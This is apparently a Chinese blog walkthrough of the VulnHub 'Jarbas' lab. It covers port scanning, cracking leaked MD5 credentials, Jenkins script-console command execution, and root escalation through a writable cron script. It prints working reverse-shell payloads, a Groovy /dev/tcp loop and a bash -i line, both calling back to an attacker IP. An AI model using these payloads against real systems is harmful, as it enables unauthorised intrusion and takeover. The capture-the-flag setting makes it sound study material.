vulnhub-Jarbas-wp

靶机描述

http://blog.yutian233.xyz/index.php/

If you want to keep your hacking studies, please try out this machine!

Jarbas 1.0 – A tribute to a nostalgic Brazilian search engine in the end of 90’s.

Objective: Get root shell!

下载 https://www.vulnhub.com/entry/jarbas-1,232/

清单

  • 信息搜集

    • netdiscover
    • nmap
    • dirb
  • 利用

    • 敏感文件泄露
    • md5解密
    • Jenkins 命令执行
  • 提权

    • 权限开放的 sh

信息搜集

靶机IP

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-trRs3pT6-1599211689904)(http://do.yutian233.xyz/image-20200902190950118.png)]

端口扫描

nmap -A 192.168.0.105

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 28:bc:49:3c:6c:43:29:57:3c:b8:85:9a:6d:3c:16:3f (RSA)
|   256 a0:1b:90:2c:da:79:eb:8f:3b:14:de:bb:3f:d2:e7:3f (ECDSA)
|_  256 57:72:08:54:b7:56:ff:c3:e6:16:6f:97:cf:ae:7f:76 (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Jarbas - O Seu Mordomo Virtual!
3306/tcp open  mysql   MariaDB (unauthorized)
8080/tcp open  http    Jetty 9.4.z-SNAPSHOT
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).

开放 22、80、306、8080端口

80端口

image-20200902191112549

目录扫描结果

image-20200902191143246

3306端口

image-20200902191351503

无法连接

8080端口

image-20200902191300849

为后台登陆页面

尝试了,弱口令、nikto没有结果后

在 80 端口目录扫描增加参数,得到了一个新的目录

image-20200902191631176

内容为

image-20200902191650974

解密结果

tiago:5978a63b4654c73c60fa24f836386d87 	italia99
trindade:f463f63616cb3f1e81ce46b39f882fd5      marianna
eder:9b38e2b1e8b12f426b0d208a7ab6cb98	vipsu

可以在https://pmd5.com/ 来解密1

访问 8080后台来登陆

image-20200902191934832

使用 eder vipsu 来登陆

登陆成功后在

系统管理—>下拉脚本命令行2

来执行命令

println “whoami”.execute().text

image-20200902192345131

测试可用

低权限用户

现在来反弹shell

image-20200902194409630

监听端口 2233

在网页中输入

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.108/2233;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

image-20200902194506914

得到shell

在 目录

image-20200902194550156

找到了 .bash_history 文件(这个文件存储用户历史命令)

/var/lib/jenkins 为jenkins的安装目录

在这个文件里找到了一个 .sh

image-20200902194708200

CleaningScript.sh 权限为 root

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xuWL0DLB-1599211649746)(http://do.yutian233.xyz/image-20200902194753885.png)]

获取root

使用它来得到 root 的shell

image-20200902194906785

在 kali 中监听一个新的端口 6666

echo 'bash -i >& /dev/tcp/192.168.0.108/6666 0>&1'  > /etc/script/CleaningScript.sh

稍等即可到 root

image-20200902195040992

并获取 flag 文件


  1. https://pmd5.com/ ↩︎

  2. https://blog.csdn.net/limb0/article/details/103185649 ↩︎

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值